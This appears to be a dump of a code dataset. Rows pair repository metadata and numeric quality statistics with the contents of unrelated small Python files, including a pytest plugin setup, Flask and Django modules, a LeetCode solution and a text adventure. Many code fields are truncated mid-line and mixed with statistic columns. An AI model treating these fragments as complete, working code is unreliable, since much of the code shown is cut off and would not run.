Human readable string describing the exce... | 29.285714 | 101 | 0.69065 | 321 | 2,460 | 5.127726 | 0.358255 | 0.072904 | 0.040097 | 0.054678 | 0.344471 | 0.31774 | 0.271567 | 0.230863 | 0.176185 | 0.176185 | 0 | 0.010053 | 0.231707 | 2,460 | 83 | 102 | 29.638554 | 0.860847 | 0.545935 | 0 | 0.25 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.3 | false | 0 | 0 | 0 | 0.6 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
647ed5cef9f088b96e328f883e5a96af60b1a881 | 1,058 | py | Python | setup.py | adrianer/pytest-usefixturesif | c5608a24261fb074ab14887e82d9c56d38376317 | [
"BSD-3-Clause"
] | null | null | null | setup.py | adrianer/pytest-usefixturesif | c5608a24261fb074ab14887e82d9c56d38376317 | [
"BSD-3-Clause"
] | 1 | 2019-01-29T14:11:15.000Z | 2019-01-29T14:11:15.000Z | setup.py | adrianer/pytest-usefixturesif | c5608a24261fb074ab14887e82d9c56d38376317 | [
"BSD-3-Clause"
] | null | null | null | from setuptools import setup
setup(
name='pytest-usefixturesif',
description='pytest plugin that makes it possible to have fixtures used only when a condition applies',
long_description=open("README.md").read(),
version='0.0.2',
url='https://github.com/adrianer/pytest-usefixturesif',
download_u... | 36.482759 | 107 | 0.65879 | 120 | 1,058 | 5.716667 | 0.616667 | 0.138484 | 0.182216 | 0.113703 | 0.12828 | 0.12828 | 0.12828 | 0 | 0 | 0 | 0 | 0.02093 | 0.187146 | 1,058 | 28 | 108 | 37.785714 | 0.776744 | 0 | 0 | 0 | 0 | 0.037037 | 0.546314 | 0.020794 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.037037 | 0 | 0.037037 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
64804597fb314c190aa7abcde79f44a874b88f4e | 1,224 | py | Python | src/kernel/testdata/err/__init__.py | metaesque/meta | c3e6413ca6cc6ff5456158b128070b36baf2d36a | [
"AML",
"TCL",
"Ruby"
] | null | null | null | src/kernel/testdata/err/__init__.py | metaesque/meta | c3e6413ca6cc6ff5456158b128070b36baf2d36a | [
"AML",
"TCL",
"Ruby"
] | 1 | 2018-10-30T03:14:34.000Z | 2018-10-30T03:19:35.000Z | src/kernel/testdata/err/__init__.py | metaesque/meta | c3e6413ca6cc6ff5456158b128070b36baf2d36a | [
"AML",
"TCL",
"Ruby"
] | null | null | null | # -*- coding: utf-8 -*-
"""An intentionally broken codebase."""
try:
import demo.err
except ImportError:
pass
if not getattr(demo, 'err', None):
import sys
demo.err = sys.modules[__name__]
import metax.root
import sys
class AMeta(metax.root.ObjectMeta):
"""Auto-generated meta class for demo.err.A."""
def... | 18.830769 | 60 | 0.629085 | 157 | 1,224 | 4.726115 | 0.496815 | 0.037736 | 0.043127 | 0.061995 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.001059 | 0.228758 | 1,224 | 64 | 61 | 19.125 | 0.784958 | 0.29902 | 0 | 0.064516 | 0 | 0 | 0.015171 | 0 | 0 | 0 | 0 | 0 | 0.064516 | 1 | 0.225806 | false | 0.032258 | 0.16129 | 0 | 0.516129 | 0.032258 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
6487e1a1c4dfff87252067d989fbc85849af01b3 | 486 | py | Python | backend/app/__init__.py | Polsaker/mateapp | 8dfce3b642e8b7a68e74f22864aad8cee5b65239 | [
"MIT"
] | null | null | null | backend/app/__init__.py | Polsaker/mateapp | 8dfce3b642e8b7a68e74f22864aad8cee5b65239 | [
"MIT"
] | null | null | null | backend/app/__init__.py | Polsaker/mateapp | 8dfce3b642e8b7a68e74f22864aad8cee5b65239 | [
"MIT"
] | null | null | null | from flask import Flask, render_template, request
import sys
from .models import db_wrapper
from .views.token import token
from .common import JWT
try:
import config
except ImportError:
print("ERROR: El archivo de configuración no existe!")
sys.exit(1)
app = Flask(__name__)
app.config.from_object('confi... | 21.130435 | 58 | 0.773663 | 71 | 486 | 5.126761 | 0.577465 | 0.049451 | 0.054945 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.002392 | 0.139918 | 486 | 23 | 59 | 21.130435 | 0.868421 | 0.127572 | 0 | 0 | 0 | 0 | 0.135071 | 0 | 0 | 0 | 0 | 0.043478 | 0 | 1 | 0 | false | 0 | 0.466667 | 0 | 0.466667 | 0.133333 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 2 |
6489b2bf3f326b2bfc8410132de75ddbf7864318 | 1,059 | py | Python | conftest.py | fruch/pytest-shabang | b4a83386efebfedb415dcd7418cda77227cabc18 | [
"MIT"
] | null | null | null | conftest.py | fruch/pytest-shabang | b4a83386efebfedb415dcd7418cda77227cabc18 | [
"MIT"
] | null | null | null | conftest.py | fruch/pytest-shabang | b4a83386efebfedb415dcd7418cda77227cabc18 | [
"MIT"
] | null | null | null | import subprocess
import os.path
import sys
import pytest
def pytest_collect_file(parent, path):
if path.basename.startswith("test"):
return ShabangFile(path, parent)
class ShabangFile(pytest.File):
def collect(self):
yield ShabangItem(os.path.relpath(self.fspath), self, self.fspath)
clas... | 26.475 | 80 | 0.609065 | 115 | 1,059 | 5.504348 | 0.486957 | 0.047393 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.001311 | 0.279509 | 1,059 | 39 | 81 | 27.153846 | 0.828309 | 0.044381 | 0 | 0 | 0 | 0 | 0.051793 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.214286 | false | 0 | 0.142857 | 0.035714 | 0.535714 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
648e7a63b2bc50056b80cc23d240953bc125a6a5 | 735 | py | Python | marchena/modules/comments/managers.py | samuelmaudo/marchena | e9a522a9be66f7043aa61e316f7e733e8ccf1e32 | [
"BSD-3-Clause"
] | null | null | null | marchena/modules/comments/managers.py | samuelmaudo/marchena | e9a522a9be66f7043aa61e316f7e733e8ccf1e32 | [
"BSD-3-Clause"
] | null | null | null | marchena/modules/comments/managers.py | samuelmaudo/marchena | e9a522a9be66f7043aa61e316f7e733e8ccf1e32 | [
"BSD-3-Clause"
] | null | null | null | # -*- coding:utf-8 -*-
from yepes.managers import (
NestableManager, NestableQuerySet,
SearchableManager, SearchableQuerySet,
)
class CommentQuerySet(NestableQuerySet, SearchableQuerySet):
"""
QuerySet providing main search functionality for ``CommentManager``.
"""
def published(self):
... | 22.96875 | 72 | 0.659864 | 64 | 735 | 7.515625 | 0.546875 | 0.049896 | 0.066528 | 0.12474 | 0.141372 | 0 | 0 | 0 | 0 | 0 | 0 | 0.001761 | 0.227211 | 735 | 31 | 73 | 23.709677 | 0.84507 | 0.198639 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0.083333 | 0.083333 | 0.75 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
6490265ebc2725dd0511e1b8509201139db524c1 | 1,283 | py | Python | Mac/scripts/bgenall.py | deadsnakes/python2.3 | 0b4a6871ca57123c10aa48cc2a5d2b7c0ee3c849 | [
"PSF-2.0"
] | null | null | null | Mac/scripts/bgenall.py | deadsnakes/python2.3 | 0b4a6871ca57123c10aa48cc2a5d2b7c0ee3c849 | [
"PSF-2.0"
] | null | null | null | Mac/scripts/bgenall.py | deadsnakes/python2.3 | 0b4a6871ca57123c10aa48cc2a5d2b7c0ee3c849 | [
"PSF-2.0"
] | null | null | null | # bgenall - Generate all bgen-generated modules
#
import sys
import os
import string
def bgenone(dirname, shortname):
os.chdir(dirname)
print '%s:'%shortname
# Sigh, we don't want to lose CVS history, so two
# modules have funny names:
if shortname == 'carbonevt':
modulename = 'CarbonEvtscan'
elif shortname ==... | 22.910714 | 67 | 0.67576 | 179 | 1,283 | 4.765363 | 0.430168 | 0.042204 | 0.046893 | 0.058617 | 0.100821 | 0.100821 | 0.100821 | 0.100821 | 0.100821 | 0.100821 | 0 | 0.009479 | 0.177709 | 1,283 | 56 | 68 | 22.910714 | 0.799052 | 0.092751 | 0 | 0.285714 | 1 | 0 | 0.086207 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.081633 | null | null | 0.102041 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
64aad382a45a9aa9391b084a3435e00b657beb09 | 517 | py | Python | code/672.py | Nightwish-cn/my_leetcode | 40f206e346f3f734fb28f52b9cde0e0041436973 | [
"MIT"
] | 23 | 2020-03-30T05:44:56.000Z | 2021-09-04T16:00:57.000Z | code/672.py | Nightwish-cn/my_leetcode | 40f206e346f3f734fb28f52b9cde0e0041436973 | [
"MIT"
] | 1 | 2020-05-10T15:04:05.000Z | 2020-06-14T01:21:44.000Z | code/672.py | Nightwish-cn/my_leetcode | 40f206e346f3f734fb28f52b9cde0e0041436973 | [
"MIT"
] | 6 | 2020-03-30T05:45:04.000Z | 2020-08-13T10:01:39.000Z | class Solution:
def flipLights(self, n, m):
"""
:type n: int
:type m: int
:rtype: int
"""
if n == 1:
return 1 if m == 0 else 2
if m == 0:
return 1
elif m & 1:
if m == 1:
return 3 if n <= 2 else 4
... | 24.619048 | 41 | 0.34236 | 70 | 517 | 2.528571 | 0.3 | 0.084746 | 0.090395 | 0.180791 | 0.310734 | 0.310734 | 0.225989 | 0.225989 | 0 | 0 | 0 | 0.094595 | 0.5706 | 517 | 21 | 42 | 24.619048 | 0.702703 | 0.071567 | 0 | 0.3125 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.0625 | false | 0 | 0 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
64ad8ccc5514d0a8420bc454f99b90d120b796a0 | 206 | py | Python | help/help.py | Veetaha/python-lab1-purse | bf8e2e941f0722357eab33ce35d0e5ef2bbcbeeb | [
"MIT"
] | null | null | null | help/help.py | Veetaha/python-lab1-purse | bf8e2e941f0722357eab33ce35d0e5ef2bbcbeeb | [
"MIT"
] | null | null | null | help/help.py | Veetaha/python-lab1-purse | bf8e2e941f0722357eab33ce35d0e5ef2bbcbeeb | [
"MIT"
] | null | null | null | from os import path, system, name
def clear():
"""
Clear console function os-independent
:return: NoneType
"""
if name == 'nt':
system('cls')
else:
system('clear')
| 15.846154 | 41 | 0.548544 | 23 | 206 | 4.913043 | 0.73913 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.315534 | 206 | 12 | 42 | 17.166667 | 0.801418 | 0.271845 | 0 | 0 | 0 | 0 | 0.076923 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | true | 0 | 0.166667 | 0 | 0.333333 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
64ba23b72324586717117191e5924bd71bb76399 | 492 | py | Python | database_setup.py | mantoshkumar1/scrapy-practice | aa533f2cb768d97e7eb1fce7243ba51d47e5e7c5 | [
"MIT"
] | null | null | null | database_setup.py | mantoshkumar1/scrapy-practice | aa533f2cb768d97e7eb1fce7243ba51d47e5e7c5 | [
"MIT"
] | 1 | 2022-03-02T14:54:11.000Z | 2022-03-02T14:54:11.000Z | database_setup.py | mantoshkumar1/scrapy-practice | aa533f2cb768d97e7eb1fce7243ba51d47e5e7c5 | [
"MIT"
] | null | null | null | from sqlalchemy import create_engine
from sqlalchemy.engine.url import URL
from models import DeclarativeBase
from scrapers import settings
# Performs database connection using database settings from settings.py
# Variable type of engine: sqlalchemy engine
engine = create_engine(URL(**settings.DATABASE), echo... | 25.894737 | 72 | 0.762195 | 59 | 492 | 6.101695 | 0.474576 | 0.077778 | 0.094444 | 0.127778 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.164634 | 492 | 18 | 73 | 27.333333 | 0.875912 | 0.227642 | 0 | 0 | 0 | 0 | 0.022663 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.111111 | false | 0 | 0.444444 | 0 | 0.555556 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
64c0972a1041309f76b4ed0085ed1b63f3b538e3 | 212 | py | Python | lib/python/euler/fibonacci.py | xfbs/ProjectEulerRust | e26768c56ff87b029cb2a02f56dc5cd32e1f7c87 | [
"MIT"
] | 1 | 2018-01-26T21:18:12.000Z | 2018-01-26T21:18:12.000Z | lib/python/euler/fibonacci.py | xfbs/ProjectEulerRust | e26768c56ff87b029cb2a02f56dc5cd32e1f7c87 | [
"MIT"
] | 3 | 2017-12-09T14:49:30.000Z | 2017-12-09T14:59:39.000Z | lib/python/euler/fibonacci.py | xfbs/ProjectEulerRust | e26768c56ff87b029cb2a02f56dc5cd32e1f7c87 | [
"MIT"
] | null | null | null | import math
# phi - the golden ration
PHI = (1 + math.sqrt(5)) / 2
# the root of five, we need this a lot
ROOT5 = math.sqrt(5)
# returns the nth fibonacci number
def nth(n):
return round((PHI**n) / ROOT5)
| 16.307692 | 38 | 0.650943 | 38 | 212 | 3.631579 | 0.710526 | 0.115942 | 0.130435 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.036364 | 0.221698 | 212 | 12 | 39 | 17.666667 | 0.8 | 0.438679 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0 | 0.2 | 0.2 | 0.6 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 2 |
64c55a7d52cabc1c805230ca7439bdb0a588dbf9 | 8,580 | py | Python | moe/merge_codebases.py | cgruber/make-open-easy | b433ba61d2f7b32d06eb7df8db38ba545827ad5e | [
"Apache-2.0"
] | 5 | 2016-05-08T00:55:46.000Z | 2020-03-14T06:57:30.000Z | moe/merge_codebases.py | cgruber/make-open-easy | b433ba61d2f7b32d06eb7df8db38ba545827ad5e | [
"Apache-2.0"
] | null | null | null | moe/merge_codebases.py | cgruber/make-open-easy | b433ba61d2f7b32d06eb7df8db38ba545827ad5e | [
"Apache-2.0"
] | 10 | 2015-06-08T21:15:13.000Z | 2021-10-16T15:06:01.000Z | #!/usr/bin/env python
# Copyright 2010 Google Inc. All Rights Reserved.
"""Merges codebases.
When a change is made to either the generated or public codebase, and you want
to fold that into the other, you want to bring in that change, but *not* the
changes that made them different codebases to begin with. This is mer... | 33.255814 | 80 | 0.679371 | 1,166 | 8,580 | 4.845626 | 0.245283 | 0.029735 | 0.019823 | 0.011327 | 0.059823 | 0.043186 | 0.026549 | 0.016991 | 0.016991 | 0.016991 | 0 | 0.0094 | 0.231235 | 8,580 | 257 | 81 | 33.385214 | 0.84718 | 0.133683 | 0 | 0.082192 | 1 | 0 | 0.12039 | 0.004349 | 0 | 0 | 0 | 0.003891 | 0 | 0 | null | null | 0.006849 | 0.068493 | null | null | 0.09589 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
64c83e170e74fdce7a961bc2d36cb3f925975895 | 2,018 | py | Python | app/forms/new_appointment.py | datascisteven/Queens-VA-SMS-Reminder-Project | 9dde2852a8fa63d150d9a4c610b9f8d57f7dbc19 | [
"Apache-2.0"
] | 1 | 2022-01-22T06:33:38.000Z | 2022-01-22T06:33:38.000Z | app/forms/new_appointment.py | datascisteven/Queens-VA-SMS-Reminder-Project | 9dde2852a8fa63d150d9a4c610b9f8d57f7dbc19 | [
"Apache-2.0"
] | null | null | null | app/forms/new_appointment.py | datascisteven/Queens-VA-SMS-Reminder-Project | 9dde2852a8fa63d150d9a4c610b9f8d57f7dbc19 | [
"Apache-2.0"
] | 1 | 2022-01-22T06:33:50.000Z | 2022-01-22T06:33:50.000Z | from flask_wtf import FlaskForm
from wtforms import StringField, DateTimeField, SelectField
from wtforms.validators import DataRequired, Length
from pytz import common_timezones
def _timezones():
return [(tz, tz) for tz in common_timezones][::-1]
# event_types = [('booked', 'Booked'),
# ('reschedu... | 39.568627 | 100 | 0.633796 | 197 | 2,018 | 6.416244 | 0.375635 | 0.226266 | 0.082278 | 0.073576 | 0.158228 | 0.158228 | 0.10443 | 0.10443 | 0.10443 | 0.10443 | 0 | 0.014357 | 0.206145 | 2,018 | 50 | 101 | 40.36 | 0.774657 | 0.327056 | 0 | 0 | 0 | 0 | 0.153617 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.071429 | false | 0 | 0.142857 | 0.071429 | 0.642857 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
64cba2f808f8129c5468822e716a045ca39e7b2a | 793 | py | Python | torchlight/modules/metrics.py | l3robot/torchlight | e9a809aad0b5e75f97bf0cb50c9c799ea7b98eab | [
"MIT"
] | null | null | null | torchlight/modules/metrics.py | l3robot/torchlight | e9a809aad0b5e75f97bf0cb50c9c799ea7b98eab | [
"MIT"
] | null | null | null | torchlight/modules/metrics.py | l3robot/torchlight | e9a809aad0b5e75f97bf0cb50c9c799ea7b98eab | [
"MIT"
] | null | null | null | import abc
import numpy as np
from sklearn.metrics import accuracy_score
class BaseMetric():
def __init__(self):
self.preds = []
self.targets = []
def append(self, preds, targets):
self.preds.extend(preds.data.cpu().numpy())
self.targets.extend(targets.data.cpu().numpy())
... | 21.432432 | 61 | 0.611602 | 91 | 793 | 5.175824 | 0.395604 | 0.11465 | 0.101911 | 0.089172 | 0.11465 | 0.11465 | 0 | 0 | 0 | 0 | 0 | 0.003378 | 0.253468 | 793 | 37 | 62 | 21.432432 | 0.79223 | 0 | 0 | 0.32 | 0 | 0 | 0.02267 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.28 | false | 0 | 0.12 | 0.04 | 0.56 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
b38ecd7c827d0395c200b4b2390413050257cd1c | 599 | py | Python | Exercises/Blackjack/player.py | Gwarglemar/PythonExercises | 3261892dea4d51b320cde2ce8a47e67a67609d30 | [
"MIT"
] | 1 | 2019-05-04T04:49:17.000Z | 2019-05-04T04:49:17.000Z | Exercises/Blackjack/player.py | Gwarglemar/Python | 3261892dea4d51b320cde2ce8a47e67a67609d30 | [
"MIT"
] | null | null | null | Exercises/Blackjack/player.py | Gwarglemar/Python | 3261892dea4d51b320cde2ce8a47e67a67609d30 | [
"MIT"
] | null | null | null | from person import Person
class Player(Person):
def __init__(self,starting_chips=100):
self.hand = []
self.chips = starting_chips
def show_hand(self):
output = "Player's hand: "
for card in self.hand:
output = output + str(card) + ' | '
prin... | 23.96 | 48 | 0.534224 | 72 | 599 | 4.291667 | 0.416667 | 0.203884 | 0.116505 | 0.097087 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.010554 | 0.367279 | 599 | 25 | 49 | 23.96 | 0.804749 | 0 | 0 | 0 | 0 | 0 | 0.03125 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.263158 | false | 0 | 0.052632 | 0.052632 | 0.421053 | 0.052632 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
b3be5e4d32b31ac0089b95f2765e156e2d1976e1 | 1,235 | py | Python | app/owm_forecast/views.py | Valentin-Golyonko/FlaskTestRPi | b9796a9acb2bb1c122301a3ef192f43c857eb27b | [
"Apache-2.0"
] | null | null | null | app/owm_forecast/views.py | Valentin-Golyonko/FlaskTestRPi | b9796a9acb2bb1c122301a3ef192f43c857eb27b | [
"Apache-2.0"
] | null | null | null | app/owm_forecast/views.py | Valentin-Golyonko/FlaskTestRPi | b9796a9acb2bb1c122301a3ef192f43c857eb27b | [
"Apache-2.0"
] | null | null | null | from django.contrib.auth.mixins import LoginRequiredMixin
from rest_framework import status
from rest_framework.generics import GenericAPIView
from rest_framework.permissions import IsAuthenticated
from rest_framework.renderers import TemplateHTMLRenderer
from rest_framework.response import Response
from app.owm_forec... | 39.83871 | 72 | 0.756275 | 143 | 1,235 | 6.244755 | 0.461538 | 0.073908 | 0.095185 | 0.038074 | 0.179171 | 0.129899 | 0.078387 | 0 | 0 | 0 | 0 | 0.005935 | 0.181377 | 1,235 | 30 | 73 | 41.166667 | 0.877349 | 0 | 0 | 0 | 0 | 0 | 0.017814 | 0.017814 | 0 | 0 | 0 | 0 | 0 | 1 | 0.038462 | false | 0 | 0.307692 | 0 | 0.653846 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
b3c50cc00310efefd9a39ed3a9611d6fb57a4cf5 | 11,149 | py | Python | pycode2/ex43.py | v-sukt/misc_code | ac5ea0a55a070c88c410d14511c25d332fc675d5 | [
"Apache-2.0"
] | null | null | null | pycode2/ex43.py | v-sukt/misc_code | ac5ea0a55a070c88c410d14511c25d332fc675d5 | [
"Apache-2.0"
] | null | null | null | pycode2/ex43.py | v-sukt/misc_code | ac5ea0a55a070c88c410d14511c25d332fc675d5 | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python2.7
""" Guidelines for Object Oriented Analysis and Design:
1. Write down about the problem
2. Extract Key cnocepts from #1 and reseach them
3. Create a class hierarchy and object map for the concepts - in object has-a is-a fastion
4. Code the classes and a test to run them
5. Repeat and refine i... | 46.454167 | 135 | 0.647771 | 1,704 | 11,149 | 4.205986 | 0.314554 | 0.016743 | 0.008372 | 0.01186 | 0.096693 | 0.077159 | 0.050509 | 0.050509 | 0.050509 | 0.050509 | 0 | 0.004803 | 0.29034 | 11,149 | 240 | 136 | 46.454167 | 0.901036 | 0.025025 | 0 | 0.130178 | 0 | 0 | 0.546067 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.005917 | 0.011834 | null | null | 0.497041 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 2 |
b3d5c451d19cad58cf067b19b358900f24263b22 | 283 | py | Python | schumt/criterion/__init__.py | Schureed/SchuMT | f4438c26243a6e736a71f376a0e186ba7c01f130 | [
"Unlicense"
] | null | null | null | schumt/criterion/__init__.py | Schureed/SchuMT | f4438c26243a6e736a71f376a0e186ba7c01f130 | [
"Unlicense"
] | null | null | null | schumt/criterion/__init__.py | Schureed/SchuMT | f4438c26243a6e736a71f376a0e186ba7c01f130 | [
"Unlicense"
] | null | null | null | import importlib
import os
import schumt.builder
builder = schumt.builder.Builder()
for _filename in os.listdir(os.path.dirname(__file__)):
if not _filename.endswith('.py') or '__' in _filename:
continue
importlib.import_module(__package__ + '.' + _filename[:-3])
| 23.583333 | 63 | 0.717314 | 35 | 283 | 5.371429 | 0.6 | 0.159574 | 0.212766 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.004202 | 0.159011 | 283 | 11 | 64 | 25.727273 | 0.785714 | 0 | 0 | 0 | 0 | 0 | 0.021201 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.5 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 2 |
b60262f3bc9e43c9ceff274eda24792109e04191 | 1,242 | py | Python | demos/kitchen_sink/studies/shrine/shrine.py | ibrahimcetin/KivyMD | b8b718f24ce8d7dc90b78ea62574e208ef32776a | [
"MIT"
] | 1 | 2020-10-03T04:30:59.000Z | 2020-10-03T04:30:59.000Z | demos/kitchen_sink/studies/shrine/shrine.py | ibrahimcetin/KivyMD | b8b718f24ce8d7dc90b78ea62574e208ef32776a | [
"MIT"
] | null | null | null | demos/kitchen_sink/studies/shrine/shrine.py | ibrahimcetin/KivyMD | b8b718f24ce8d7dc90b78ea62574e208ef32776a | [
"MIT"
] | 1 | 2020-10-19T21:18:43.000Z | 2020-10-19T21:18:43.000Z | """
MDShrine demo
=============
.. seealso::
`Material Design spec, Shrine <https://material.io/design/material-studies/shrine.html#>`
Shrine is a retail app that uses Material Design components
and Material Theming to express branding for a variety of fashion and lifestyle items.
"""
import os
from kivy.lang i... | 24.84 | 92 | 0.747182 | 148 | 1,242 | 6.121622 | 0.5 | 0.043046 | 0.04415 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.00094 | 0.143317 | 1,242 | 49 | 93 | 25.346939 | 0.850564 | 0.227858 | 0 | 0 | 0 | 0 | 0.073874 | 0.054054 | 0 | 0 | 0 | 0 | 0 | 1 | 0.066667 | false | 0 | 0.333333 | 0 | 0.533333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
3739e12e57043c6c3a410e59b83e85212fd9c9aa | 240 | py | Python | 6.00.1x/MidTerm Quiz/P6Flatten.py | MErmanProject/My-Projects | ca393b71ea8537f21a28dc6ca1558da27bcaa907 | [
"CC0-1.0"
] | null | null | null | 6.00.1x/MidTerm Quiz/P6Flatten.py | MErmanProject/My-Projects | ca393b71ea8537f21a28dc6ca1558da27bcaa907 | [
